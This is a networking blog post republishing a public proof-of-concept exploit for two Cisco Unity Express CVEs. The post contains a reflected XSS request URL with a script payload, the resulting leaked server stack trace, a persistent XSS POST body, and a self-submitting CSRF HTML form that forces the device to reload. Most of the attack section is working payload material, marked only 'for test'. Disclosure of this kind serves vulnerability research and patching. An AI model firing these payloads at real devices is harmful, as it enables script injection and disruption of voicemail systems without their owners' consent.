Exploit

Cisco Unity Express Multiple Vulnerabilities

By Fabio Semperboni

The Cisco Unity Express software contains two important vulnerabilities:

  • CVE ID: CVE-2013-1114: Cisco Unity Express software prior to version 8.0 contains vulnerabilities that could allow an unauthenticated, remote attacker to conduct cross site scripting attacks.  The vulnerabilities are due to insufficient input validation. An attacker could exploit these vulnerabilities by sending crafted requests. However, all affected versions of the software have reached End of Software Maintenance or Last Day of Support.
  • CVE ID: CVE-2013-1120: Cisco Unity Express software prior to version 8.0 contains vulnerabilities that could allow an unauthenticated, remote attacker to conduct cross site request forgery attacks.  The vulnerabilities are due to insufficient input validation. An attacker could exploit these vulnerabilities by sending crafted requests.

Below the source of the exploit (Only for test!):

# Exploit Title: Cisco Unity Express Multiple Vulnerabilities
# Reported: December 2012
# Disclosed: February 2013
# Author: Jacob Holcomb of Independent Security Evaluators
# CVE: XSS - CVE-2013-1114 and CSRF - CVE-2013-1120
# http://infosec42.blogspot.com/2013/02/cisco-unity-express-vulnerabilites.html

Cisco Advisory
http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2013-1114
http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2013-1120

Proof of Concept
XSS - CVE-2013-1114:
GET:
Reflective XSS & Info disclosure
http://X.X.X.X/Web/SA2/ScriptList.do?gui_pagenotableData=><script>alert(42)</script>

Information Disclosure
Location: /Web/WEB-INF/screens/main.jsp
Error Location: /Web/WEB-INF/screens/prompts/ListScripts.jsp
Internal Servlet Error:

javax.servlet.ServletException: invalid character at position 1 in >
org.apache.jasper.runtime.PageContextImpl.handlePageException (Unknown Source)
WEB_0002dINF.screens.prompts.ListScripts._jspService (ListScripts.java:2245)
org.apache.jasper.runtime.HttpJspBase.service (Unknown Source)
javax.servlet.http.HttpServlet.service (HttpServlet.java)
org.apache.tomcat.facade.ServletHandler.doService (Unknown Source)
org.apache.tomcat.core.Handler.invoke (Unknown Source)
org.apache.tomcat.core.Handler.service (Unknown Source)
org.apache.tomcat.facade.ServletHandler.service (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.doInclude (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.access$000 (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl$RDIAction.run (Unknown Source)
org.apache.tomcat.util.compat.Jdk12Support$PrivilegedProxy.run (Unknown Source)
java.security.AccessController.doPrivileged (AccessController.java:273)
org.apache.tomcat.util.compat.Jdk12Support.doPrivileged (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.include (Unknown Source)
org.apache.jasper.runtime.PageContextImpl.include (Unknown Source)
WEB_0002dINF.screens.main._jspService (main.java:396)
org.apache.jasper.runtime.HttpJspBase.service (Unknown Source)
javax.servlet.http.HttpServlet.service (HttpServlet.java)
org.apache.tomcat.facade.ServletHandler.doService (Unknown Source)
org.apache.tomcat.core.Handler.invoke (Unknown Source)
org.apache.tomcat.core.Handler.service (Unknown Source)
org.apache.tomcat.facade.ServletHandler.service (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.doForward (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.access$100 (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl$RDIAction.run (Unknown Source)
org.apache.tomcat.util.compat.Jdk12Support$PrivilegedProxy.run (Unknown Source)
java.security.AccessController.doPrivileged (AccessController.java:273)
org.apache.tomcat.util.compat.Jdk12Support.doPrivileged (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.forward (Unknown Source)
org.apache.struts.action.ActionServlet.processActionForward (ActionServlet.java:1759)
org.apache.struts.action.ActionServlet.process (ActionServlet.java:1596)
com.cisco.aesop.vmgui.framework.WebController.process (WebController.java:157)
org.apache.struts.action.ActionServlet.doGet (ActionServlet.java:492)
javax.servlet.http.HttpServlet.service (HttpServlet.java)
javax.servlet.http.HttpServlet.service (HttpServlet.java)
org.apache.tomcat.facade.ServletHandler.doService (Unknown Source)
org.apache.tomcat.core.Handler.invoke (Unknown Source)
org.apache.tomcat.core.Handler.service (Unknown Source)
org.apache.tomcat.facade.ServletHandler.service (Unknown Source)
org.apache.tomcat.core.ContextManager.internalService (Unknown Source)
org.apache.tomcat.core.ContextManager.service (Unknown Source)
org.apache.tomcat.modules.server.Http10Interceptor.processConnection (Unknown Source)
org.apache.tomcat.util.net.TcpWorkerThread.runIt (Unknown Source)
org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run (Unknown Source)
java.lang.Thread.run (Thread.java:777)

Root cause:
java.lang.NumberFormatException: invalid character at position 1 in >
java.lang.Throwable. (Throwable.java:166)
java.lang.Integer.parseInt (Integer.java:775)
java.lang.Integer.parseInt (Integer.java:262)
com.cisco.aesop.gui.taglibs.PagingTableTag.doAfterBody (PagingTableTag.java:274)
WEB_0002dINF.screens.prompts.ListScripts._jspService (ListScripts.java:1903)
org.apache.jasper.runtime.HttpJspBase.service (Unknown Source)
javax.servlet.http.HttpServlet.service (HttpServlet.java)
org.apache.tomcat.facade.ServletHandler.doService (Unknown Source)
org.apache.tomcat.core.Handler.invoke (Unknown Source)
org.apache.tomcat.core.Handler.service (Unknown Source)
org.apache.tomcat.facade.ServletHandler.service (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.doInclude (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.access$000 (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl$RDIAction.run (Unknown Source)
org.apache.tomcat.util.compat.Jdk12Support$PrivilegedProxy.run (Unknown Source)
java.security.AccessController.doPrivileged (AccessController.java:273)
org.apache.tomcat.util.compat.Jdk12Support.doPrivileged (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.include (Unknown Source)
org.apache.jasper.runtime.PageContextImpl.include (Unknown Source)
WEB_0002dINF.screens.main._jspService (main.java:396)
org.apache.jasper.runtime.HttpJspBase.service (Unknown Source)
javax.servlet.http.HttpServlet.service (HttpServlet.java)
org.apache.tomcat.facade.ServletHandler.doService (Unknown Source)
org.apache.tomcat.core.Handler.invoke (Unknown Source)
org.apache.tomcat.core.Handler.service (Unknown Source)
org.apache.tomcat.facade.ServletHandler.service (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.doForward (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.access$100 (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl$RDIAction.run (Unknown Source)
org.apache.tomcat.util.compat.Jdk12Support$PrivilegedProxy.run (Unknown Source)
java.security.AccessController.doPrivileged (AccessController.java:273)
org.apache.tomcat.util.compat.Jdk12Support.doPrivileged (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.forward (Unknown Source)
org.apache.struts.action.ActionServlet.processActionForward (ActionServlet.java:1759)
org.apache.struts.action.ActionServlet.process (ActionServlet.java:1596)
com.cisco.aesop.vmgui.framework.WebController.process (WebController.java:157)
org.apache.struts.action.ActionServlet.doGet (ActionServlet.java:492)
javax.servlet.http.HttpServlet.service (HttpServlet.java)
javax.servlet.http.HttpServlet.service (HttpServlet.java)
org.apache.tomcat.facade.ServletHandler.doService (Unknown Source)
org.apache.tomcat.core.Handler.invoke (Unknown Source)
org.apache.tomcat.core.Handler.service (Unknown Source)
org.apache.tomcat.facade.ServletHandler.service (Unknown Source)
org.apache.tomcat.core.ContextManager.internalService (Unknown Source)
org.apache.tomcat.core.ContextManager.service (Unknown Source)
org.apache.tomcat.modules.server.Http10Interceptor.processConnection (Unknown Source)
org.apache.tomcat.util.net.TcpWorkerThread.runIt (Unknown Source)
org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run (Unknown Source)
java.lang.Thread.run (Thread.java:777)

POST:
Persistent XSS
http://X.X.X.X/Web/SA3/AddHoliday.do
POST Data: holiday.description=><script>alert(42)</script>&submitType=AD

CSRF - CVE-2013-1120:

<html>
<!-- # Exploit Title: Cisco Unity Express CSRF
# Date: Discovered and reported December 2012
# Disclosed: February 2013
# Author: Jacob Holcomb of Independent Security Evaluators
# Software: Cisco Unity Express
# CVE : CVE-2013-1120 for the CSRF
# Note: All the HTML forms are susceptible to forgery -->

<head>
<title>Reload Cisco Unity Express CSRF</title>
</head>

<body>

<form name="CUEreload" action="http://X.X.X.X/Web/SA/SaveConfiguration.do" method="post">
<input type="hidden" name="submitType" value="RELOAD"/>
</form>

<script>
document.CUEreload.submit();
</script>

</body>
</html>

Reference: http://www.exploit-db.com/exploits/24449

LEAVE A REPLY

Please enter your comment!
Please enter your name here

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Previous article
Using route maps for conditional NAT
Next article
NAT Virtual Interface aka NVI, what is that?!

Popular posts

802.1X Deployment Guide: Interface configuration

Tutorial
In a previous post, I explained how to configure dot1x in a switch global configuration. In this article, I'll explain the best practice about...

802.1X Deployment Guide: Global configuration

Tutorial
In the previous article, I illustrated what are the dot1x and the benefits related to it. Just to remember that 802.1X authentication involves three...

Using NPS to manage Cisco devices

Tutorial
In a a previous article, I illustated how to configure Radius server on Cisco switch/router. In this tutorial, I explain how to install and...

NAT and PAT: a complete explanation

Tutorial
Network address translation (NAT) is the process of modifying IP address information in IP packet headers while in transit across a traffic routing device. There...

How to trace MAC address

Tutorial
Traceroute is a tool for measuring the route path and transit times of packets across an Internet Protocol (IP) network. Traceroute sends a sequence of...

StackWise Virtual on Catalyst 9500

Tutorial
During the Cisco Live 2016 in Las Vegas, Cisco presented the new feature named "StackWise virtual" supported by the IOS XE Denali in the...

How to log everything with SecureCRT

Tutorial
Unlike my technical articles about configurations, protocols and so on, in this tutorial I will explain how to log automatically all SecureCRT sessions. For those...

How to upgrade a Cisco stack

Tutorial
One of the task of a good Network engineer is to update the Cisco IOS to avoid bugs and to have new features; but...

Upgrade Catalyst 9000 series

Tutorial
In the past, upgrade a switch was very easy: upload the IOS file (a .bin file), change the bootvar and reload the switch; then...

Friends

Copyright © 2008 - 2022 Ciscozine.
All rights reserved.